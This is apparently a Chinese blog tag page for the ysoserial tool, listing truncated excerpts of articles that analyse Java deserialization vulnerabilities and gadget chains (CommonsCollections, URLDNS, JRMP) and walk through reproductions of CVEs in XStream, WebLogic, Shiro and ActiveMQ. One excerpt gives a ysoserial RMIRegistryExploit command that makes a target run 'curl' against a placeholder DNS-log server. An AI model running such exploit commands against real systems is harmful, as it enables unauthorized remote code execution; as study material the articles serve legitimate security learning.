首页 > TAG信息列表 > Ysoserial
XStream 反序列化命令执行漏洞（CVE-2021-29505）
XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。 XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.16 及之前版本黑名单存在缺陷，攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求，进而执行任意命令Weblogic WLS Core Components 反序列化命令执行漏洞（CVE-2018-2628）
Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。 参考链接： http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html http://mRMI拓展
版本要求： 从JDK8u21、7u13、6u141开始，JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器，只允许特定的类进行反序列化。Registry无法成功攻击RMI。 漏洞复现过程： 1.启动RMI注册机制 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollectionyso调试系列1:urldns链反序列化调试
Java安全之urldns链分析 0x00 前言 作为一个java小白,最近学习了下ysoserial生成payload的原理，其中最容易入门学习的就是urldns链，也是在利用java反序列化漏洞时候用来判断是否存在漏洞的基础链。 0x00 原理分析 使用工具:idea 首先从github上下载ysoserial工具(https://github.com【高危】Shiro-550反序列化漏洞复现
声明：文章所提供的内容和工具仅供于个人学习和研究，严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 1、Apache Shiro介绍 Apache Shiro是一个强大且易ysoserial-CommonsBeanutils1的shiro无依赖链改造
ysoserial-CommonsBeanutils1的shiro无依赖链改造 一、CB1利用链分析 此条利用链需要配合Commons-Beanutils组件来进行利用，在shiro中是自带此组件的。 先上大佬写的简化版利用链，和ysoserial中的代码有点不同，但原理是一样的 import com.sun.org.apache.xalan.internal.xsltc.trax.T中间件漏洞 -- JBoss
中间件漏洞记录--5 jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或JApache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）复现
Apache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）复现 |简介 Apache OFBiz全称是The ApacheOpen For Business Project，是开一个放的电子商务平台，也是一个非常著名的开源项目 |漏洞描述 Apache ofbiz存在反序列化漏洞，攻击者可以通过未授权访问接口，构造特定的xmlrpc http请求，造成远程Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 （8u71之后已修复不可利用） CommonsCollections2 CommonsCollections 4.0 暂无限制Ysoserial Commons Collections6分析
Ysoserial Commons Collections6分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 （8u71之后已修复不可利用） CommonsCollections2 CommonsCollections 4.0 暂无限制java安全——ysoserial工具URLDNS链分析
本篇我们将学习ysoserial工具的URLDNS链，相对于前面学习的CC链来说，URLDNS链就比较简单了。 URLDNS是ysoserial工具用于检测是否存在Java反序列化漏洞的一个利用链，通过URLDNS利用链可以发起一次DNS查询请求，从而可以验证目标站点是否存在反序列化漏洞，并且该利用链任何不需要第三方Lab: Exploiting Java deserialization with Apache Commons：使用 Apache Commons 开发的 Java 反序列化（ysoserial的使
靶场内容 本实验使用基于序列化的会话机制并加载 Apache Commons Collections 库。尽管您没有源代码访问权限，但您仍然可以使用预先构建的小工具链来利用此实验室。 为了解决实验室问题，请使用第三方工具生成包含远程代码执行负载的恶意序列化对象。然后，将此对象传递到网站以morale.YsoSerial 工具常用Payload分析之Common-Collections2、4（五）
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1、3、5、6、7 ，Commno-collections4.0对应与CC2、4. 这篇文章结束官方原版YsoSerial关于Common-Collections链的分析就已经结束了。 CC2 TemplatesImpl 在之前有介绍过TemplatesImpl 这个类的命令执行利用方法，我们回顾一下，TeYsoSerial 工具常用Payload分析之Common-Collections7（四）
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个，回顾一下： 以InvokerTranformer为基础通过动态代理触发AnnotationInvocationHandler里面的Invoker方法调用LazyMap get方式的CC1 以TemplatesImpl为基础，通过TrAXFilter、InstantiateTransformer组合绑定Lazyysoserial payloads/JRMPListener
payloads/JRMPListener JRMPListener的攻击流程： 1.生成payloads/JRMPListener发送给服务器，当服务器反序列化payloads/JRMPListener后，即会开启一个端口进行监听。 2.使用exploit/JRMPClient模块发送payload，服务器就会把payload进行反序列化，从而完成进行攻击。 直接通过ysoserial源ysoserial payloads/JRMPClient
ysoserial payloads/JRMPClient 环境：JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上使用exploit/JRMPListener来开启监听 2.把payloads/JRMPClient发送给对方服务器，对方服务器反序列化后会反向连接我们的服务器，进行连接之间我们服务器会发ysoserial exploit/JRMPClient
ysoserial exploit/JRMPClient 上一篇文章讲到，当服务器反序列化payloads/JRMPListener，即会开启端口监听。再使用exploit/JRMPClient模块发送payload，服务器就会把payload进行反序列化，从而完成进行攻击。 调用链分析 设置payloads/JRMPListener参数，端口号为1299，debug模式启动payloadYsoSerial 工具常用Payload分析之CC3（二）
这是CC链分析的第二篇文章，我想按着common-collections的版本顺序来介绍，所以顺序为 cc1、3、5、6、7（common-collections 3.1），cc2、4（common-collections4）。 打开YsoSerial payloads CommonsCollections3源码： public Object getObject(final String command) throws Exception { ObjYsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构、Java反序列化、高级特性（反射、动态代理）等有一定的了解。 背景 YsoSerial是一款反序列化利用的便捷工具，可以很方便的生成基于多种环境的反序列化EXP。java -jar ysoserial.jar 可以直接查看payload适用环境及其适用版本。 关于此工具的背景，我引YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS，虽然URLDNS本身不依赖第三方包且调用简单，但不能做到漏洞利用，仅能做漏洞探测，如何才能实现RCE呢，于是就有Common-collections1-7、Common-BeanUtils等这些三方库的利用。本文需要前置知识Java反射、动态代理等。CC1其实比较难，会用到很多高级特性，但ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链，在JAVA7和8版本都可以使用，而触发点也是通过LazyMap的get方法。 TiedMapEntry#hashCode 在CC5中，通过的是TiedMapEntry的toString调用到的LazyMap的get方法，而CC6则是通过TiedMapEntry的hashCode方法 此处hashCode会调用getValue方法，getValue就调用到了Laysoserial CommonsColletions5分析
我们知道，AnnotationInvocationHandler类在JDK8u71版本以后，官方对readobject进行了改写。 所以要挖掘出一条能替代的类BadAttributeValueExpException 在CC5中除了有一个新的类BadAttributeValueExpException外，还有一个新的类TiedMapEntry，用来调用LazyMap的get方法 TiedMapEntry 在ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的，没有什么新的知识点。 不过要注意的是，CC4和CC2一样需要在commons-collections-4.0版本使用，3.1-3.2.1版本不能去使用，原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接Java RMI Registry 反序列化漏洞(＜=jdk8u111)
漏洞复现 先去这http://www.dnslog.cn/搞个dns 然后用这个命令： java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server" 然后刷新dnslog 好兄弟们你们看懂了吗?反正我没懂【安全狐】CVE-2015-5254_ActiveMQ反序列化漏洞复现
CVE-2015-5254_ActiveMQ反序列化漏洞复现 0x01漏洞背景 ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务，集群，Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程